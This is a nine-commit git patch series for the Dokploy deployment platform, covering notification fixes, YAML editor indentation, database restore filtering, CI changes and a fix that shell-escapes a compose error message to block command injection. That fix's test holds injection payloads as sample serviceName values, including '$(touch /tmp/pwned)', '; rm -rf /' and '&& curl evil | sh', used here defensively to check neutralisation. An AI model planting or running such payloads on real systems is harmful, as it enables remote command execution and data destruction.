From e19dd432933c1f1f3deaaf4f0dffe25fac21069c Mon Sep 17 00:00:00 2001 From: PixelPerfector Date: Fri, 10 Jul 2026 17:51:34 +0300 Subject: [PATCH 1/9] fix(notifications): use real server name in remote threshold alerts Server CPU/Memory threshold notifications for remote servers always showed "Server Name: Remote" instead of the actual server name, making it impossible to tell which server triggered the alert when more than one remote server is registered. The remote branch of receiveNotification already fetches the matching server row (looked up by its metrics token) but discarded it, hardcoding ServerName to the literal "Remote". Use the fetched row's name instead, falling back to "Remote" if it is somehow absent. Co-Authored-By: Claude Opus 4.8 (1M context) --- apps/dokploy/server/api/routers/notification.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/dokploy/server/api/routers/notification.ts b/apps/dokploy/server/api/routers/notification.ts index dd96bc302..ae1c35d12 100644 --- a/apps/dokploy/server/api/routers/notification.ts +++ b/apps/dokploy/server/api/routers/notification.ts @@ -535,7 +535,7 @@ export const notificationRouter = createTRPCRouter({ } organizationId = result?.[0]?.organizationId; - ServerName = "Remote"; + ServerName = result?.[0]?.name ?? "Remote"; } await sendServerThresholdNotifications(organizationId, { From 012d9596b21fb1032a21440d27d3218660dcfa04 Mon Sep 17 00:00:00 2001 From: techdawnarea Date: Tue, 14 Jul 2026 00:24:00 +0530 Subject: [PATCH 2/9] MariaDB svg color updated: in Dark theme its not visible properly --- apps/dokploy/components/icons/data-tools-icons.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx index b828052a0..7a0d680aa 100644 --- a/apps/dokploy/components/icons/data-tools-icons.tsx +++ b/apps/dokploy/components/icons/data-tools-icons.tsx @@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => { > ); From 7ca96f6087741e928261547725512dfaceae26e6 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 14 Jul 2026 11:57:12 -0600 Subject: [PATCH 3/9] fix(editor): consistent YAML auto-indent on newline The indentNodeProp from @codemirror/lang-yaml computes column-based indents that produce inconsistent and odd-numbered indentation when pressing Enter (e.g. 9 spaces after a nested 'web:' line, 6 after a 4-space 'image:' line). Override it with a line-based indentService: keep the current line's indent, align list-entry keys after the dash marker, and indent one unit deeper after lines opening a block (':', '|', '>'). Fixes #4650 --- .../dokploy/components/shared/code-editor.tsx | 29 +++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/apps/dokploy/components/shared/code-editor.tsx b/apps/dokploy/components/shared/code-editor.tsx index f0347da60..7bdb644e3 100644 --- a/apps/dokploy/components/shared/code-editor.tsx +++ b/apps/dokploy/components/shared/code-editor.tsx @@ -7,7 +7,11 @@ import { import { css } from "@codemirror/lang-css"; import { json } from "@codemirror/lang-json"; import { yaml } from "@codemirror/lang-yaml"; -import { StreamLanguage } from "@codemirror/language"; +import { + getIndentUnit, + indentService, + StreamLanguage, +} from "@codemirror/language"; import { properties } from "@codemirror/legacy-modes/mode/properties"; import { shell } from "@codemirror/legacy-modes/mode/shell"; import { search, searchKeymap } from "@codemirror/search"; @@ -98,6 +102,27 @@ const dockerComposeServiceOptions = [ }, })); +// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong +// column-based indents on Enter (odd/inconsistent amounts, see #4650), so +// indentation is resolved line-based here: keep the current indent, align +// list-entry keys after the dash marker, and go one unit deeper after a +// line that opens a block (ending in ":", "|" or ">"). +const yamlIndent = indentService.of((context, pos) => { + const line = context.state.doc.lineAt(pos); + const before = context.state.doc.sliceString(line.from, pos); + const indent = /^ */.exec(before)?.[0].length ?? 0; + const trimmed = before.trim(); + if (!trimmed || trimmed.startsWith("#")) { + return indent; + } + const base = + trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent; + if (/[:|>]$/.test(trimmed)) { + return base + getIndentUnit(context.state); + } + return base; +}); + function dockerComposeComplete( context: CompletionContext, ): CompletionResult | null { @@ -160,7 +185,7 @@ export const CodeEditor = ({ search(), keymap.of(searchKeymap), language === "yaml" - ? yaml() + ? [yamlIndent, yaml()] : language === "json" ? json() : language === "css" From a83b2026f64a6bb6ed8e0825d687fa19cb6dbda8 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Mon, 20 Jul 2026 16:01:47 -0600 Subject: [PATCH 4/9] fix(security): escape compose domain error message to prevent command injection writeDomainsToCompose returns a shell fragment that is executed as part of the compose build script. On error it interpolated error.message (which embeds the user-controlled serviceName/host) directly into an echo, so a serviceName like $(cmd) executed as root. Escape the message with quote(). --- .../compose/domain-command-injection.test.ts | 67 +++++++++++++++++++ packages/server/src/utils/docker/domain.ts | 8 ++- 2 files changed, 73 insertions(+), 2 deletions(-) create mode 100644 apps/dokploy/__test__/compose/domain-command-injection.test.ts diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..a4132063d --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,67 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has occurred an error"); + expect(leaksShellSyntax(result, "touch")).toBe(false); + expect(result).not.toContain("$(touch"); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts index 8094f1df2..b7af2d2cc 100644 --- a/packages/server/src/utils/docker/domain.ts +++ b/packages/server/src/utils/docker/domain.ts @@ -3,6 +3,7 @@ import { join } from "node:path"; import { paths } from "@dokploy/server/constants"; import type { Compose } from "@dokploy/server/services/compose"; import type { Domain } from "@dokploy/server/services/domain"; +import { quote } from "shell-quote"; import { parse, stringify } from "yaml"; import { execAsyncRemote } from "../process/execAsync"; import { cloneBitbucketRepository } from "../providers/bitbucket"; @@ -125,8 +126,11 @@ exit 1; const encodedContent = encodeBase64(composeString); return `echo "${encodedContent}" | base64 -d > "${path}";`; } catch (error) { - // @ts-ignore - return `echo "❌ Has occurred an error: ${error?.message || error}"; + const message = + error instanceof Error ? error.message : String(error ?? ""); + // The error message embeds user-controlled fields (e.g. serviceName) and is + // executed as part of the compose build shell script, so it must be escaped. + return `echo ${quote([`❌ Has occurred an error: ${message}`])}; exit 1; `; } From 35c30a1210d06d296ca9685823b54f956301d6f7 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Mon, 20 Jul 2026 16:07:11 -0600 Subject: [PATCH 5/9] test: assert domain payload never parses as a shell operator (drop literal check) quote() legitimately wraps the payload text inside single quotes, so the raw substring is present but inert. leaksShellSyntax (via shell-quote parse) is the correct assertion; the literal not.toContain check was wrong. --- apps/dokploy/__test__/compose/domain-command-injection.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts index a4132063d..24f129c58 100644 --- a/apps/dokploy/__test__/compose/domain-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -50,8 +50,9 @@ describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", ( // The service does not exist in the compose, so we hit the error branch. expect(result).toContain("Has occurred an error"); + // The payload text may appear inside the single-quoted echo argument, but + // it must never parse as a shell operator ($(), backtick, ; …). expect(leaksShellSyntax(result, "touch")).toBe(false); - expect(result).not.toContain("$(touch"); }); it("neutralizes backtick and semicolon payloads too", async () => { From 2505c347bc9cbccc071f120a1bb5f4923d434c5e Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 4 Aug 2026 11:34:08 -0600 Subject: [PATCH 6/9] fix(restore): drop USE/CREATE DATABASE statements so mysql/mariadb restores target the selected database --- .../backups/restore-use-statement.test.ts | 57 +++++++++++++++++++ packages/server/src/utils/restore/utils.ts | 8 ++- 2 files changed, 64 insertions(+), 1 deletion(-) create mode 100644 apps/dokploy/__test__/backups/restore-use-statement.test.ts diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/packages/server/src/utils/restore/utils.ts b/packages/server/src/utils/restore/utils.ts index dd2934430..c232b6956 100644 --- a/packages/server/src/utils/restore/utils.ts +++ b/packages/server/src/utils/restore/utils.ts @@ -79,6 +79,10 @@ const generateRestoreCommand = ( } }; +// Dumps taken with `--databases` carry `USE`/`CREATE DATABASE` statements that +// would redirect the restore away from the database selected in the dialog. +export const stripDatabaseSwitchCommand = `grep -viE '^[[:space:]]*(use|create[[:space:]]+database)[[:space:]]'`; + const getMongoSpecificCommand = ( rcloneCommand: string, restoreCommand: string, @@ -125,7 +129,9 @@ export const getRestoreCommand = ({ const restoreCommand = generateRestoreCommand(type, credentials); let cmd = `CONTAINER_ID=$(${containerSearch})`; - if (type !== "mongo") { + if (type === "mysql" || type === "mariadb") { + cmd += ` && ${rcloneCommand} | ${stripDatabaseSwitchCommand} | ${restoreCommand}`; + } else if (type !== "mongo") { cmd += ` && ${rcloneCommand} | ${restoreCommand}`; } else { cmd += ` && ${getMongoSpecificCommand(rcloneCommand, restoreCommand, backupFile || "")}`; From 3638c7b35ba3c1b4a63e8a8c28fcd24509bc5da0 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 4 Aug 2026 11:39:32 -0600 Subject: [PATCH 7/9] fix(notifications): send server threshold alerts through email, resend, gotify and ntfy channels --- .../src/emails/emails/server-threshold.tsx | 91 +++++++++++++++++++ .../utils/notifications/server-threshold.ts | 71 +++++++++++++++ 2 files changed, 162 insertions(+) create mode 100644 packages/server/src/emails/emails/server-threshold.tsx diff --git a/packages/server/src/emails/emails/server-threshold.tsx b/packages/server/src/emails/emails/server-threshold.tsx new file mode 100644 index 000000000..9a12f2296 --- /dev/null +++ b/packages/server/src/emails/emails/server-threshold.tsx @@ -0,0 +1,91 @@ +import { + Body, + Container, + Head, + Heading, + Html, + Img, + Preview, + Section, + Tailwind, + Text, +} from "@react-email/components"; +import { emailTailwindConfig } from "../tailwind-config"; + +export type TemplateProps = { + serverName: string; + type: "CPU" | "Memory"; + value: string; + threshold: string; + message: string; + date: string; +}; + +export const ServerThresholdEmail = ({ + serverName = "my-server", + type = "CPU", + value = "95.00", + threshold = "90.00", + message = "Resource usage exceeded the configured threshold", + date = "2023-05-01T00:00:00.000Z", +}: TemplateProps) => { + const previewText = `Server ${type} alert for ${serverName} ⚠️`; + return ( + + {previewText} + + + + + +
+ Dokploy +
+ + ⚠️ Server {type} alert for {serverName} + + + Hello, + + + The {type} usage on {serverName} exceeded the + configured threshold. + +
+ Details: + + Server Name: {serverName} + + + Type: {type} + + + Current Value: {value}% + + + Threshold: {threshold}% + + + Date: {date} + +
+
+ Message: + {message} +
+
+ +
+ + ); +}; + +export default ServerThresholdEmail; diff --git a/packages/server/src/utils/notifications/server-threshold.ts b/packages/server/src/utils/notifications/server-threshold.ts index bcabf2cc3..2c1ad8902 100644 --- a/packages/server/src/utils/notifications/server-threshold.ts +++ b/packages/server/src/utils/notifications/server-threshold.ts @@ -1,12 +1,18 @@ +import { render } from "@react-email/components"; import { and, eq } from "drizzle-orm"; import { db } from "../../db"; import { notifications } from "../../db/schema"; +import ServerThresholdEmail from "../../emails/emails/server-threshold"; import { sendCustomNotification, sendDiscordNotification, + sendEmailNotification, + sendGotifyNotification, sendLarkNotification, sendMattermostNotification, + sendNtfyNotification, sendPushoverNotification, + sendResendNotification, sendSlackNotification, sendTeamsNotification, sendTelegramNotification, @@ -39,6 +45,9 @@ export const sendServerThresholdNotifications = async ( discord: true, telegram: true, slack: true, + resend: true, + gotify: true, + ntfy: true, mattermost: true, custom: true, lark: true, @@ -52,9 +61,13 @@ export const sendServerThresholdNotifications = async ( for (const notification of notificationList) { const { + email, discord, telegram, slack, + resend, + gotify, + ntfy, mattermost, custom, lark, @@ -63,6 +76,64 @@ export const sendServerThresholdNotifications = async ( } = notification; try { + if (email || resend) { + const template = await render( + ServerThresholdEmail({ + serverName: payload.ServerName, + type: payload.Type, + value: payload.Value.toFixed(2), + threshold: payload.Threshold.toFixed(2), + message: payload.Message, + date: date.toLocaleString(), + }), + ); + + if (email) { + await sendEmailNotification( + email, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + + if (resend) { + await sendResendNotification( + resend, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + } + + if (gotify) { + const decorate = (decoration: string, text: string) => + `${gotify.decoration ? decoration : ""} ${text}\n`; + + await sendGotifyNotification( + gotify, + decorate("⚠️", `Server ${payload.Type} Alert`), + `${decorate("🏷️", `Server: ${payload.ServerName}`)}` + + `${decorate("📊", `Current Value: ${payload.Value.toFixed(2)}%`)}` + + `${decorate("⚠️", `Threshold: ${payload.Threshold.toFixed(2)}%`)}` + + `${decorate("📜", `Message: ${payload.Message}`)}` + + `${decorate("🕒", `Date: ${date.toLocaleString()}`)}`, + ); + } + + if (ntfy) { + await sendNtfyNotification( + ntfy, + `Server ${payload.Type} Alert`, + "warning", + "", + `🏷️Server: ${payload.ServerName}\n` + + `📊Current Value: ${payload.Value.toFixed(2)}%\n` + + `⚠️Threshold: ${payload.Threshold.toFixed(2)}%\n` + + `📜Message: ${payload.Message}\n` + + `🕒Date: ${date.toLocaleString()}`, + ); + } + if (discord) { const decorate = (decoration: string, text: string) => `${discord.decoration ? decoration : ""} ${text}`.trim(); From ff9fa7418f98ad0bdc0fdab5da33d82833968585 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Thu, 6 Aug 2026 01:28:18 -0600 Subject: [PATCH 8/9] fix(ci): generate OpenAPI spec from the release commit in sync-version The cli/sdk steps copied the repo-root openapi.json, which was last committed in March, and the mcp step fetched docs.dokploy.com, which canary pushes can overwrite. Generate the spec from the release commit instead so each package release matches its dokploy tag. --- .github/workflows/dokploy.yml | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index e30b5d06a..08d6b8a5b 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -187,6 +187,16 @@ jobs: with: version: 10.22.0 + - uses: actions/setup-node@v4 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo @@ -195,8 +205,8 @@ jobs: jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json + cp ${{ github.workspace }}/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" From 286938bbbbfa8090bc5dda5981a83cd5046d07d3 Mon Sep 17 00:00:00 2001 From: Narciso Date: Tue, 11 Aug 2026 00:22:45 -0400 Subject: [PATCH 9/9] fix: sort imports in domain.ts (biome) --- packages/server/src/utils/docker/domain.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts index ced429ae1..718b946e4 100644 --- a/packages/server/src/utils/docker/domain.ts +++ b/packages/server/src/utils/docker/domain.ts @@ -5,8 +5,8 @@ import { db } from "@dokploy/server/db"; import { network, patch } from "@dokploy/server/db/schema"; import type { Compose } from "@dokploy/server/services/compose"; import type { Domain } from "@dokploy/server/services/domain"; -import { quote } from "shell-quote"; import { eq, inArray } from "drizzle-orm"; +import { quote } from "shell-quote"; import { parse, stringify } from "yaml"; import { execAsyncRemote } from "../process/execAsync"; import { cloneBitbucketRepository } from "../providers/bitbucket";